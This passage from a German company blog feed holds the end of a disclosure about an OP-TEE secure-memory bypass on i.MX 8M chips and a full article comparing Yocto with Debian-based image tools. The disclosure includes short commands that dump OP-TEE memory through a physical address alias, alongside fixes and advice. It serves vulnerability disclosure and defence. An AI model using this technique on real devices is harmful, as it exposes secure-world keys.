</span></span><span class="line"><span class="cl">$ strings optee_core.bin <span class="p">|</span> grep <span class="s2">&#34;OP-TEE version&#34;</span>
</span></span><span class="line"><span class="cl">OP-TEE version: %s
</span></span></code></pre></div><p>Tatsächlich konnten wir den Speicher von OP-TEE aus Linux lesen!
Der Bug ist echt und ernst. Er macht den gesamten Sicherheitsnutzen von OP-TEE zunichte.
Ein kompromittiertes Linux-System kann die Secure World erreichen und Schlüsselmaterial extrahieren oder sogar verändern.</p>
<h2 id="noch-nicht-vorbei-das-rätselhafte-region0-und-speicher-aliase">Noch nicht vorbei: Das rätselhafte region0 und Speicher-Aliase</h2>
<p>Diese Geschichte hätte hier enden können. OP-TEE hat vergessen, die Speicherbeschränkung auf einer bestimmten Plattform zu erzwingen, ein einzelner Commit hat es behoben, und alles ist gut. Nicht schön, aber Bugs passieren. So ist das Leben.</p>
<p>Bei der weiteren Untersuchung fanden wir noch andere Commits rund um den TZASC:</p>
<ul>
<li>arm-trusted-firmware: <a href="https://github.com/ARM-software/arm-trusted-firmware/commit/9bf148071aad597e7fe7d1080c00aeb35b67a3dd">fix(imx8m): don&rsquo;t reconfigure default region0</a></li>
<li>optee: <a href="https://github.com/OP-TEE/optee_os/commit/443c5817de47f1bd19091b419806898070382a67">drivers: imx: tzc380: add support to verify region0</a></li>
</ul>
<p>Diese Commit-Nachrichten deuteten auf ein tieferes Problem hin.
Die Secure World vor der Normal World zu schützen, erfordert mehr als das korrekte Aktivieren des TZASC.
Die Ursache ist, dass der TZASC keine Speicher-Aliase berücksichtigt.</p>
<p>Mit dem passenden <a href="https://github.com/OP-TEE/optee_os/commit/31bb491f8e7c78794b6f9615cc4f2deec58b4ed9">Fix</a> stellt OP-TEE sicher, dass seine Speicherregion nicht aus der Normal World erreicht werden kann.
Aber dieser Schutz stützt sich allein auf die Adresse, in unserem Fall <code>0xbe000000</code>.
Weil der Controller keine Speicher-Aliase berücksichtigt, kann eine andere Adresse auf genau denselben Speicherort zeigen und an der Zugriffsprüfung vorbeischlüpfen.</p>
<p>Hier wird <code>region0</code> relevant. Der TZASC erlaubt es, Zugriffsberechtigungen für bestimmte Speicheradressbereiche zu konfigurieren. Hat eine angeforderte Adresse keinen konfigurierten Bereich im TZASC, fällt sie auf <code>region0</code> zurück.
<code>region0</code> ist eine Speicherbereichskonfiguration, die den gesamten dem SoC bekannten Adressraum abdeckt. Stellen Sie es sich als Platzhalter vor.
Im Reset-Zustand ist <code>region0</code> nur aus der Secure World zugänglich, sodass der Fallback sicher ist.
Also alles gut? Leider nicht, und genau das behebt der <a href="https://github.com/ARM-software/arm-trusted-firmware/commit/9bf148071aad597e7fe7d1080c00aeb35b67a3dd">TF-A-Commit</a>.</p>
<p>Wenn auf Ihrem System Speicher-Aliase auftreten können und irgendeine Komponente <code>region0</code> während des Bootens umkonfiguriert, um Zugriff aus der Normal World zu erlauben, stecken Sie tief in Schwierigkeiten.
Der Konfiguration sieht man die Gefahr nicht an.</p>
<h2 id="wir-bohren-nach">Wir bohren nach</h2>
<p>Nach dem Upgrade von OP-TEE und TF-A schien alles in Ordnung zu sein.
Der Zugriff auf <code>0xbe000000</code> war nicht mehr möglich.
Alles gut, bis uns auffiel, dass die OP-TEE-Konfigurationsoption <code>CFG_TZASC_REGION0_SECURE</code> in unserem Testaufbau deaktiviert war.
<code>CFG_TZASC_REGION0_SECURE</code> prüft, ob <code>region0</code> sicher konfiguriert ist, was bedeutet, dass nur Zugriff aus der Secure World erlaubt ist.
Sie zu aktivieren, offenbarte die harte Wahrheit.
OP-TEE löste sehr früh beim Start eine Panic aus:</p>
<pre tabindex="0"><code>E/TC:0 0 Panic &#39;region0 is not secure configured, non-secure memory alias access possible!&#39; at core/arch/arm/plat-imx/tzc380.c:217 &lt;imx_configure_tzasc&gt;
</code></pre><p>Irgendetwas auf unserem System fasste <code>region0</code> also <em>immer noch</em> an.
Einer Ahnung folgend, schauten wir uns an, was unser Bootloader, <a href="https://source.denx.de/u-boot/">U-Boot</a>, tut.
In <code>arch/arm/mach-imx/imx8m/soc.c</code> erlaubt er nicht-sicheren Zugriff auf <code>region0</code>.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">enable_tzc380</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl"><span class="p">[...]</span>
</span></span><span class="line"><span class="cl">        <span class="cm">/*
</span></span></span><span class="line"><span class="cl"><span class="cm">         * set Region 0 attribute to allow secure and non-secure
</span></span></span><span class="line"><span class="cl"><span class="cm">         * read/write permission. Found some masters like usb dwc3
</span></span></span><span class="line"><span class="cl"><span class="cm">         * controllers can&#39;t work with secure memory.
</span></span></span><span class="line"><span class="cl"><span class="cm">         */</span>
</span></span><span class="line"><span class="cl">        <span class="nf">writel</span><span class="p">(</span><span class="mh">0xf0000000</span><span class="p">,</span> <span class="n">TZASC_BASE_ADDR</span> <span class="o">+</span> <span class="mh">0x108</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>Das Entfernen dieses <code>writel()</code> ließ die OP-TEE-Panic verschwinden und bestätigte, dass niemand sonst <code>region0</code> mehr anfasst.</p>
<p>Dennoch ließ uns die Alias-Frage nicht los. War das ein echtes Problem oder nur ein theoretisches?
Das i.MX 8M Mini Reference Manual zeigte keinen Speicher-Alias für den Bereich, den unser OP-TEE nutzt.
Vielleicht waren wir auch ohne die <code>region0</code>-Fixes sicher?</p>
<p>Deshalb schrieben wir ein winziges Programm, das <code>/dev/mem</code> und <code>/proc/self/pagemap</code> nutzt, um Adressen zu finden, die auf denselben physischen Speicher abgebildet werden.
Es wählt eine Seite, liest deren Inhalt, kippt ein paar hohe Bits der Adresse und prüft, ob die neue Adresse dieselben Bytes zurückgibt.
Der Ansatz erwies sich als weit komplizierter als nötig, sobald er die ersten Aliase gefunden hatte.
Beim Testen des OP-TEE-Bereichs mit deaktiviertem Schutz kam als ein Alias für <code>0xbe000000</code> die Adresse <code>0x1be000000</code> heraus.</p>
<p>Der DDR-Controller der i.MX-8M-Serie <em>ignoriert</em> also die oberen 32 Bit einer Speicheradresse.
TZASC und DDR-Controller sind sich daher uneinig: Der TZASC sieht zwei nicht zusammenhängende Adressen, während der DDR-Controller sie auf denselben Ort abbildet.
Die TZASC-Einstellungen gelten nicht für den Alias, also fällt der Zugriff auf <code>region0</code> durch.
Nicht alle oberen Bits sind unter Linux nutzbar, weil die Adresse weiterhin in den konfigurierten Adressraum passen muss. Aber Bit 32 zu setzen, schien einwandfrei zu funktionieren.</p>
<p>Als letzten Test wendeten wir alle Fixes erneut an, ließen aber U-Boot unberührt, sodass es <code>region0</code> umkonfigurierte, und versuchten, den Speicher von OP-TEE auszulesen:</p>
<pre tabindex="0"><code>$ python3 devmem.py 0xbe000000 0x100000 &gt; optee_core.bin
Bus error
$ python3 devmem.py 0x1be000000 0x100000 &gt; optee_core.bin
$ strings optee_core.bin | grep &#34;OP-TEE version&#34;
OP-TEE version: %s
</code></pre><p>Es funktionierte. Die direkte Adresse war blockiert, aber der Alias glitt glatt durch, und der gesamte Schutz erwies sich als vergeblich.</p>
<h2 id="bin-ich-betroffen">Bin ich betroffen?</h2>
<p>Sie sind potenziell betroffen, wenn Sie OP-TEE auf einem i.MX-8M-SoC betreiben. Zwei separate Probleme machen die Umgehung möglich, und jedes einzelne reicht aus, um die Isolation zu brechen:</p>
<ol>
<li>OP-TEE vor 4.2.0 aktiviert den TZASC auf i.MX 8M nicht standardmäßig, sodass die sichere Region nie geschützt ist.</li>
<li>Andere Komponenten wie Bootloader und TF-A konfigurieren <code>region0</code> um. Sobald ein Speicher-Alias auf ein offenes <code>region0</code> durchfällt, erreicht die Normal World den sicheren Speicher. Ab OP-TEE 4.10.0 lässt sich das erkennen.</li>
</ol>
<p>Um Ihr eigenes System zu prüfen, betreiben Sie ein aktuelles OP-TEE mit aktiviertem <code>CFG_TZASC_REGION0_SECURE</code>. Mit dieser Option verifiziert OP-TEE <code>region0</code> beim Start und löst eine Panic aus, wenn es nicht sicher ist, sodass es auch den Fall abfängt, in dem eine andere Komponente <code>region0</code> hinter seinem Rücken umkonfiguriert. Die Option ist erst ab OP-TEE 4.10.0 verfügbar.</p>
<p>Wenn Sie U-Boot als Bootloader verwenden, machen Sie in der Zwischenzeit den Commit <a href="https://source.denx.de/u-boot/u-boot/-/commit/b3cf0a8f03d162e030cde1131751d060853e16fc">imx8m: Configure trustzone region 0 for non-secure access</a> rückgängig.
Wir haben den Entwicklern einen <a href="https://lore.kernel.org/u-boot/3208216.Ym5mLc6kNg@nailgun/T/#u">Hinweis</a> gegeben.
Sobald eine bessere Lösung verfügbar ist, vermerken wir sie hier.</p>
<p>Für das i.MX-Downstream-OP-TEE gibt es einen Sonderfall. Wenn Sie es betreiben, verwenden Sie mindestens die Version, die den Commit <a href="https://github.com/nxp-imx/imx-optee-os/commit/c09d6e9da171f8c5ee42b42ff144b320761a5f16">LFOPTEE-468 core: plat-imx: tzc380: update TZASC configuration</a> enthält.
Leider hat Downstream einen anderen Weg gewählt. Statt darauf zu bestehen, die anderen Komponenten zu reparieren, konfigurieren sie <code>region0</code> um, um den nicht-sicheren Zugriff zu deaktivieren.
Das überdeckt nur das eigentliche Problem: Andere Softwarekomponenten ändern <code>region0</code> aus den falschen Gründen.
Unser Hinweis auf der U-Boot-Mailingliste löste eine <a href="https://github.com/OP-TEE/optee_os/pull/7838">hitzige Diskussion</a> auf dem OP-TEE-GitHub darüber aus, wie damit umzugehen sei.</p>
<p>Unser wichtigster Rat ist einfach: Aktualisieren Sie OP-TEE, TF-A und Ihren Bootloader regelmäßig, denn sie enthalten wichtige Bugfixes.
Leider wurden für diese Probleme keine CVE-Nummern eingereicht, sodass die Chance groß ist, dass viele Nutzer sie übersehen haben. Obwohl wir spät dran sind, haben wir CVE-Nummern beantragt und werden diesen Blogpost aktualisieren, sobald die CVEs zugewiesen sind.</p>
<h2 id="fazit">Fazit</h2>
<p>Moderne Computersysteme sind endlos komplex, und selbst gut etablierte Komponenten können seltsame Probleme verbergen.
Wir mussten mehrere Schichten abtragen, um das eigentliche Problem vollständig zu bestätigen:</p>
<ul>
<li><code>CONFIG_STRICT_DEVMEM</code> blockierte den ersten Test.</li>
<li>Die <code>nomap</code>-Eigenschaft im Device Tree hielt Linux davon ab, die Region überhaupt abzubilden.</li>
<li>Erst nachdem wir beides entfernt hatten, wurde die TZASC-Alias-Umgehung sichtbar.</li>
</ul>
<p>Aus Sicht von Sicherheit und Code-Audit gilt einmal mehr ein Grundsatz: Misstraue allem.
Sogar der Speicherschutz von OP-TEE braucht rigoroses Testen, und wie wir gezeigt haben, müssen Sie sicher sein, dass Sie das Richtige testen.
Ein weniger erfahrener Ingenieur hätte womöglich geschlossen, dass alles in Ordnung ist, weil Linux selbst die ersten Zugriffsversuche verweigerte.</p>
<p>Zum Schluss: Danke an <a href="https://www.pengutronix.de/">Pengutronix</a> für die Behebung des Problems in TF-A und OP-TEE!</p>
]]></content:encoded></item><item><title>Sie brauchen wahrscheinlich kein Yocto, und das ist auch gut so</title><link>https://sigma-star.at/de/blog/2026/05/sie-brauchen-wahrscheinlich-kein-yocto-und-das-ist-auch-gut-so/</link><pubDate>Tue, 26 May 2026 00:00:00 +0200</pubDate><author>Richard Weinberger</author><guid>https://sigma-star.at/de/blog/2026/05/sie-brauchen-wahrscheinlich-kein-yocto-und-das-ist-auch-gut-so/</guid><description>&lt;h1 id="sie-brauchen-wahrscheinlich-kein-yocto-und-das-ist-auch-gut-so">Sie brauchen wahrscheinlich kein Yocto, und das ist auch gut so&lt;/h1>
&lt;p>Neue Kunden reagieren oft überrascht, wenn wir in der Planungsphase fragen, ob sie Yocto wirklich brauchen.
Die unausgesprochene Annahme lautet meist, dass jedes ernsthafte Embedded-Linux-Projekt heutzutage Yocto einsetzen muss.
Wir bei der sigma star gmbh sehen uns als Power-User und Yocto-Experten.
Genau deshalb sind wir oft diejenigen, die unseren Kunden raten, es sich zweimal zu überlegen, bevor sie zu Yocto greifen.
Warum ist Yocto also die Standardwahl, und wann ist es die falsche Standardwahl?&lt;/p></description><content:encoded><![CDATA[<h1 id="sie-brauchen-wahrscheinlich-kein-yocto-und-das-ist-auch-gut-so">Sie brauchen wahrscheinlich kein Yocto, und das ist auch gut so</h1>
<p>Neue Kunden reagieren oft überrascht, wenn wir in der Planungsphase fragen, ob sie Yocto wirklich brauchen.
Die unausgesprochene Annahme lautet meist, dass jedes ernsthafte Embedded-Linux-Projekt heutzutage Yocto einsetzen muss.
Wir bei der sigma star gmbh sehen uns als Power-User und Yocto-Experten.
Genau deshalb sind wir oft diejenigen, die unseren Kunden raten, es sich zweimal zu überlegen, bevor sie zu Yocto greifen.
Warum ist Yocto also die Standardwahl, und wann ist es die falsche Standardwahl?</p>
<h2 id="was-ist-yocto-eigentlich">Was ist Yocto eigentlich?</h2>
<p>Manchmal wird es &ldquo;die Yocto-Linux-Distribution&rdquo; genannt.
Das ist es nicht.
Yocto ist ein <em>Werkzeugkasten, um Ihre eigene Linux-Distribution zu bauen</em>.
Das Yocto-Projekt selbst liefert eine Referenzdistribution namens Poky, gebaut aus <code>bitbake</code>, <code>openembedded-core</code> und <code>meta-yocto</code><sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>.</p>
<p>Die Möglichkeit, ein Linux-System zusammenzustellen, das genau Ihren Anforderungen entspricht, macht Yocto für Embedded-Projekte enorm mächtig.
Sie können den gesamten User Space für Ihre CPU kompilieren, jede Komponente patchen, in jeder Recipe Features ein- oder ausschalten und jede Version festpinnen oder ändern.
Darüber hinaus veröffentlichen viele System-on-Chip-Hersteller (SoC) und Hardwarepartner fertige Board-Support-Package-Layer (BSP), die Ihnen einen funktionierenden Ausgangspunkt auf echter Hardware geben.</p>
<p>Diese Mischung aus Flexibilität und Herstellerunterstützung macht Yocto zur Standardwahl.
Dieselbe Mischung macht Yocto aber auch zur Falle, wenn Sie so viel Kontrolle gar nicht brauchen.</p>
<h2 id="ihre-distribution-ihre-verantwortung">Ihre Distribution, Ihre Verantwortung</h2>
<p>Mit Regularien wie dem Cyber Resilience Act (CRA)<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup> müssen Produkthersteller die ausgelieferte Software nun sicher halten und über die gesamte Produktlebensdauer Sicherheitsupdates bereitstellen.
Das kann eine lange Zeit sein, um ein Linux-System zu warten.</p>
<p>Ein reguläres Yocto-Release wird nur etwa sieben Monate lang gepflegt, bis das nächste Release erscheint.
Long-Term-Support-Releases (LTS) erhalten bis zu vier Jahre Updates, so die aktuelle Richtlinie seit Yocto 5.0 (Scarthgap)<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup>.</p>
<p>Man könnte fragen, warum vier Jahre nicht genügen.
Doch es gibt ein weniger offensichtliches Problem.
Um es zu erkennen, müssen wir uns ansehen, was in einem Yocto-LTS-Release tatsächlich gepflegt wird.</p>
<p>Ein Yocto-Release ist eine Sammlung von <code>bitbake</code>-Recipes für Softwarekomponenten, mit bestimmten Versionen und Metadaten, plus der Referenzdistribution Poky.
Während des Wartungszeitraums spielen die Yocto-Maintainer Bug- und Security-Fixes in diese Komponenten und in Poky ein.
Bei Softwarekomponenten haben diese Fixes meist die Form von Backports aus neueren Upstream-Versionen.</p>
<p>Und jetzt kommt der Haken.
Da Yocto ein <em>Werkzeug ist, um Ihre eigene Distribution zu bauen</em>, haben Sie höchstwahrscheinlich Änderungen wie diese vorgenommen:</p>
<ul>
<li>Nicht triviale Patches oder lokale Anpassungen an einer Handvoll Komponenten.</li>
<li>Zusätzliche Komponenten, die über das hinausgehen, was Yocto mitliefert.</li>
<li>Versions-Bumps oder Pins, um einen Fix mitzunehmen oder einen bekannt guten Stand zu halten.</li>
</ul>
<p>Mit jedem Yocto-Wartungs-Release müssen Sie prüfen, ob sich Ihre Änderungen noch sauber auf den neuen Stand anwenden lassen.
Zusätzlich müssen Sie sicherstellen, dass die Komponenten, die Sie hinzugefügt oder gepinnt haben, weiterhin von irgendwoher Fixes erhalten, denn die Yocto-Maintainer wissen nichts von ihnen.
Unterm Strich ist es <em>Ihre</em> Wartungsarbeit.</p>
<p>Wenn Sie Poky nehmen und es fast unverändert verwenden, ist eine berechtigte Frage: Warum verwenden Sie überhaupt Yocto?</p>
<h3 id="was-gerne-verschwiegen-wird-der-linux-kernel">Was gerne verschwiegen wird: der Linux-Kernel</h3>
<p>Yocto liefert einen Linux-Kernel und wartet ihn als Teil jedes Releases.
Doch Sie werden ihn wahrscheinlich nicht unverändert verwenden.
Fast immer müssen Sie zumindest die Patches Ihres Herstellers anwenden und einen Kernel betreiben, der neu genug ist, um die Treiber und Fixes zu enthalten, auf die Sie angewiesen sind.
Sobald Sie also das CVE-Tracking einrechnen, ist allein der Kernel ein großer Teil Ihrer Wartungsarbeit, ob Sie Yocto verwenden oder nicht.</p>
<p>Es gibt einen Weg, diese Arbeit im Griff zu behalten.
Wir raten unseren Kunden dringend, auf einem LTS-Kernel von kernel.org<sup id="fnref:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup> aufzubauen und alle ihre Änderungen in einer sauberen Patch-Queue zu halten.
Um bei den Sicherheitsfixes aktuell zu bleiben, wechseln Sie auf jedes neue Stable-Release und wenden die Patch-Queue erneut an.
kernel.org pflegt LTS-Kernel über Jahre, daher lässt sich Ihre Patch-Queue meist sauber anwenden und erfordert nur dann echten Aufwand, wenn Sie auf ein neues LTS-Release springen.</p>
<p>Je nach Ihrem Setup und Ihren Sicherheitsanforderungen gilt dasselbe für den Bootloader, der meist genauso herstellerspezifisch ist.</p>
<p>Und der Vollständigkeit halber: Beim Kernel zu bleiben, den Ihr Hersteller mitliefert, ist meist eine schlechte Idee.
Hersteller-Kernel liegen Jahre hinter kernel.org zurück, erhalten selten Updates und verpassen fast alle Sicherheitsfixes.
Ausnahmen bestätigen die Regel.</p>
<h2 id="die-versteckten-kosten-einer-eigenen-distribution">Die versteckten Kosten einer eigenen Distribution</h2>
<p>&ldquo;Ihre eigene Distribution&rdquo; zu bauen klingt auf einer Präsentationsfolie großartig.
In der Praxis kostet es echte Entwicklungszeit.</p>
<ul>
<li><strong>Build-Zeiten.</strong> Yocto kompiliert praktisch alles aus dem Quelltext. Ein sauberer Build eines nicht trivialen Images dauert auf einer schnellen Workstation Stunden. Der <code>sstate-cache</code> und ein gemeinsames <code>DL_DIR</code> beschleunigen wiederholte Builds, doch der Cache selbst ist fragil: eine kleine Änderung an einer Recipe kann große Teile davon ungültig machen.</li>
<li><strong>Speicher- und CI-Kosten.</strong> Ein aktives Yocto-Build-Verzeichnis erreicht leicht 100 GiB oder mehr. CI-Runner brauchen üppigen Speicher und eine Möglichkeit, <code>sstate</code> zwischen Jobs zu teilen. Sie können <code>sstate</code> und <code>DL_DIR</code> spiegeln, um das erträglicher zu machen, doch diese Infrastruktur müssen Sie selbst betreiben.</li>
<li><strong>Lernkurve.</strong> <code>bitbake</code>-Recipes, Layer, dynamische Layer, Klassen, Overrides, <code>bbappend</code>-Dateien, <code>PACKAGECONFIG</code>, der Unterschied zwischen <code>DEPENDS</code> und <code>RDEPENDS</code>: die Liste der Dinge, die Sie verinnerlichen müssen, bevor Sie ein Yocto-Image ausliefern können, ist lang. Neue Entwickler in eine Yocto-Codebasis einzuarbeiten dauert Wochen, nicht Tage.</li>
<li><strong>Die Qualität der BSP-Layer schwankt.</strong> Manche SoC-Hersteller liefern saubere, gut gepflegte BSP-Layer. Andere liefern einen <code>meta-vendor</code>-Layer, der einen fünf Jahre alten Kernel oder Bootloader festpinnt, maschinenspezifische Recipes fest in die falschen Layer schreibt und bei jedem Poky-Bump kaputtgeht. Aus diesem &ldquo;guten Ausgangspunkt&rdquo; kann der schlimmste Teil Ihres Builds werden.</li>
</ul>
<p>Nichts davon ist ein Grund, Yocto zu meiden.
Es ist ein Grund, sich zu vergewissern, dass Sie es wirklich brauchen, bevor Sie sich festlegen.</p>
<h2 id="eine-alternative-eine-etablierte-distribution-wiederverwenden">Eine Alternative: eine etablierte Distribution wiederverwenden</h2>
<p>Wenn Sie in Wahrheit nur ein solides Linux-Fundament brauchen, auf dem Ihre Anwendung läuft, löst eine etablierte Distribution wie Debian GNU/Linux die meisten dieser Probleme mit deutlich weniger Aufwand pro Projekt<sup id="fnref:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup>.</p>
<p>Debian liefert heute rund 70.000 Binärpakete, gebaut für alle gängigen Architekturen: <code>amd64</code>, <code>i386</code>, <code>arm64</code>, <code>armhf</code>, <code>riscv64</code>, <code>ppc64el</code> und eine Handvoll weiterer<sup id="fnref:6"><a href="#fn:6" class="footnote-ref" role="doc-noteref">6</a></sup>.
Die Chancen stehen gut, dass Ihr SoC diese Binaries direkt ausführen kann, ohne dass eine Neukompilierung nötig ist.</p>
<p>Debian liefert nicht nur einen modernen User Space mit <code>systemd</code>, <code>udev</code> und <code>dbus</code>.
Das Archiv enthält auch alles, was Sie brauchen, um kleine Linux-Systeme mit SysV-artigem Init oder BusyBox zu bauen.
Sie wählen eine schlanke Basis, installieren nur die Pakete, die Ihr Produkt braucht, und profitieren trotzdem von der Arbeit der Debian-Paketbetreuer.</p>
<h3 id="wartung-von-debian">Wartung von Debian</h3>
<p>Debian stable erhält vom Debian Security Team rund drei Jahre lang Sicherheitsupdates.
Danach verlängert das Debian-LTS-Projekt, eine Gemeinschaftsinitiative, die Unterstützung um etwa zwei weitere Jahre auf den gängigen Architekturen<sup id="fnref:7"><a href="#fn:7" class="footnote-ref" role="doc-noteref">7</a></sup>.
In der Praxis ergibt das rund fünf Jahre pro Release, nahe an einem Yocto-LTS, aber mit weit weniger Aufwand pro Projekt.</p>
<p>Um die neuesten Fixes mitzunehmen, holen Sie die aktuellen Debian-Pakete und erzeugen Ihr Image neu.
Verglichen mit einem Yocto-Setup, in dem Sie Upstream-Patches selbst backporten oder erneut prüfen müssen, ob sich Ihre lokalen Änderungen noch auf ein Wartungs-Release anwenden lassen, ist das eine andere Welt.</p>
<h3 id="wie-entsteht-ein-embedded-image-eigentlich">Wie entsteht ein Embedded-Image eigentlich?</h3>
<p>An diesem Punkt kommen die meisten üblicherweise durcheinander.
Sie stellen sich vor, ein SoC von einem USB-Stick zu booten und den Debian-Installer auszuführen.
Das ist nicht gemeint.</p>
<p>Die Idee ist, auf einem Build-Host ein flashbares Image zu erzeugen und es auf das Gerät zu schreiben.
Dazu brauchen Sie:</p>
<ul>
<li>Einen Bootloader, meist SoC-spezifisch (etwa <code>u-boot</code>).</li>
<li>Einen Linux-Kernel, ebenfalls meist SoC-spezifisch.</li>
<li>Ein Root-Dateisystem mit dem Linux-User-Space, direkt aus Debian übernommen.</li>
<li>Ein Tool zum Zusammenbauen des Images, das die drei zu einem flashbaren Image zusammenfügt.</li>
</ul>
<p>Für dieses letzte Stück sind die drei üblichen Verdächtigen <code>mkosi</code><sup id="fnref:8"><a href="#fn:8" class="footnote-ref" role="doc-noteref">8</a></sup>, <code>ELBE</code><sup id="fnref:9"><a href="#fn:9" class="footnote-ref" role="doc-noteref">9</a></sup> und <code>debos</code><sup id="fnref:10"><a href="#fn:10" class="footnote-ref" role="doc-noteref">10</a></sup>.</p>
<p>Alle drei sind freie Software, und alle drei erzeugen ein deterministisches Image, das Sie auf Ihre Hardware flashen können.
Die Wartungsarbeit schrumpft drastisch: die meisten Updates werden zu einer <code>apt</code>-artigen Aktualisierung der Pakete im Image, nicht zum Umschreiben einer Recipe.</p>
<h3 id="beispiel-debos">Beispiel: debos</h3>
<p>Um den Debian-Weg greifbar zu machen, sieht ein debos-basierter Build grob so aus.</p>
<p><code>debos</code> liest eine YAML-<em>Recipe</em>: eine Liste von <em>Actions</em> wie das Ausführen eines Kommandos, das Erzeugen eines Root-Dateisystems oder das Installieren eines Debian-Pakets aus einer konfigurierten Quelle.</p>
<p>Der grundlegende Ablauf sieht so aus:</p>
<ul>
<li>Verwenden Sie <code>aptly</code><sup id="fnref:11"><a href="#fn:11" class="footnote-ref" role="doc-noteref">11</a></sup>, um einen lokalen Debian-Mirror zu betreiben, der eine Kopie jedes benötigten Debian-Pakets vorhält.</li>
<li>Bauen Sie Ihren Linux-Kernel und, optional, Ihren Bootloader als Debian-Pakete und fügen Sie sie dem Mirror hinzu.</li>
<li>Erstellen Sie einen Snapshot des Mirrors und versehen Sie den Snapshot mit einem Tag. Dieser Tag ist Ihr Release.</li>
<li>Konfigurieren Sie <code>debos</code> so, dass es den Mirror verwendet, und schreiben Sie Recipe-Actions, die Ihr Ziel-Image erzeugen.</li>
<li>Archivieren Sie bei Bedarf die Debian-Quellpakete und die Software Bill of Materials (SBOM) des Images zusammen mit dem Image. So bleiben Sie auf der sicheren Seite bei den GPL-Anforderungen zur Quelltextverfügbarkeit und den CRA-Vorgaben zur Stückliste. Tools wie <code>debsbom</code><sup id="fnref:12"><a href="#fn:12" class="footnote-ref" role="doc-noteref">12</a></sup> erzeugen die SBOM direkt aus einem Debian-System.</li>
</ul>
<figure>
<img src="https://sigma-star.at/de/blog/2026/05/sie-brauchen-wahrscheinlich-kein-yocto-und-das-ist-auch-gut-so/debos.svg" loading="lazy" decoding="async" alt="debos-Workflow: ein lokaler aptly-Mirror von Debian plus Kernel, Bootloader und Apps des Projekts speist debos, gesteuert von einer YAML-Konfiguration, das ein Disk-Image samt GPL-Quellen und einer SBOM ausgibt"></figure>
<h2 id="yocto-oder-nicht-eine-entscheidungshilfe">Yocto oder nicht? Eine Entscheidungshilfe</h2>
<p>Nach all dem: Wann <em>sollten</em> Sie Yocto wählen?</p>
<p>Verwenden Sie Yocto, wenn:</p>
<ul>
<li>Sie eine stark angepasste Distribution brauchen: eigener User Space, eigene Compile-Flags, tiefe Eingriffe in Basiskomponenten.</li>
<li>Sie harte Vorgaben bei Größe oder Bootzeit haben, die eine Distribution von der Stange nicht erfüllt.</li>
<li>Sie unter Lizenzbeschränkungen arbeiten, die gängige Lizenzkategorien ausschließen. Manche Branchen (Medizingeräte, Automotive, bestimmte Rüstungsprojekte) liefern keine GPLv3-Komponenten aus. Yoctos <code>INCOMPATIBLE_LICENSE</code>-Mechanismus macht es unkompliziert, eine ganze Lizenzfamilie über das gesamte Image auszuschließen; bei einer unveränderten Debian-Basis müssen Sie die Pakete selbst prüfen und ausdünnen.</li>
<li>Der offizielle Support-Weg Ihres SoC-Herstellers Yocto ist und das BSP solide ist.</li>
</ul>
<p>Verzichten Sie auf Yocto, wenn:</p>
<ul>
<li>Sie &ldquo;nur&rdquo; ein modernes Linux brauchen, auf dem Ihre Anwendung läuft.</li>
<li>Ihr Budget an Speicher und Arbeitsspeicher ein normales Debian-basiertes Image verkraftet (etwa einige Hundert MB Flash und 256 MB oder mehr RAM).</li>
<li>Die Produktlebensdauer lang genug ist, dass Sie sich lieber auf das Security Team von Debian verlassen, als selbst zu warten.</li>
</ul>
<p>Verzichten Sie auf Debian, wenn:</p>
<ul>
<li>Sie viele seiner Pakete ändern oder neu bauen müssen. Ein paar neu zu bauen ist machbar, doch jedes neu gebaute Paket ist Wartung, die Sie selbst übernehmen. Dutzende Upstream-Pakete zu patchen schafft genau die Arbeit wieder, die die Debian-Betreuer für Sie erledigt haben, und Yoctos Recipe-Modell bewältigt diese Größenordnung sauberer.</li>
<li>Sie eine libc jenseits von glibc brauchen, etwa <code>musl</code> oder <code>uClibc</code>. Debians Hauptarchiv verwendet durchgehend glibc; sie auszutauschen bedeutet, den Großteil des Archivs selbst neu zu bauen.</li>
<li>Sie Software brauchen, die deutlich neuer ist als das, was Debian stable liefert. Backports helfen bei manchen Paketen, doch wenn Ihr Produkt einen aktuellen Compiler oder eine aktuelle Laufzeitumgebung braucht, macht Ihnen Debian stable das Leben schwer, und Debian testing ist kein Produktionsziel.</li>
</ul>
<p>Wie auch immer Sie sich entscheiden, entscheiden Sie bewusst und entscheiden Sie früh.
Das ist eine grundlegende Entscheidung, die sich schwer rückgängig machen lässt, sobald ein Produkt im Feld ist.
Im Zweifel beginnen Sie mit einer etablierten Distribution.
Später <em>zu</em> Yocto zu migrieren, sobald Sie einen echten Grund dafür haben, ist viel günstiger als der umgekehrte Fall: mitten im Projekt festzustellen, dass Sie sich jahrelange Wartungsarbeit ohne echten Nutzen aufgehalst haben.</p>
<h2 id="fazit">Fazit</h2>
<p>Yocto ist eine bemerkenswerte technische Leistung.
Damit bauen Sie genau das Linux-System, das Sie brauchen, und genau das ist das Problem, wenn Sie <em>genau das</em> nicht brauchen.
Dasselbe gilt für andere Tools, die aus dem Quelltext bauen, etwa Buildroot: fast alles oben Gesagte trifft auch dort zu, denn sobald Sie Ihre eigene Distribution zusammenstellen, gehört Ihnen ihre Wartung.</p>
<ul>
<li>&ldquo;Ihre eigene Distribution&rdquo; bedeutet in Wahrheit <em>Ihre eigene Wartung</em>. Der CRA und ähnliche Regularien machen diese Rechnung fällig.</li>
<li>Ein stark angepasster Yocto-Build erbt Upstream-Fixes nicht gratis. Jedes Wartungs-Release wird zu Prüfung und Nacharbeit.</li>
<li>Eine etablierte Distribution wie Debian, mit <code>mkosi</code>, <code>ELBE</code> oder <code>debos</code> zu einem Image zusammengefügt, deckt den Normalfall mit einem Bruchteil des Aufwands pro Projekt ab.</li>
<li>Wenn Sie chirurgisch genaue Kontrolle über das System brauchen, gewinnt Yocto. Wenn nicht, ist seine Wahl ein langer, teurer Weg, ein Problem zu lösen, das Sie gar nicht haben.</li>
</ul>
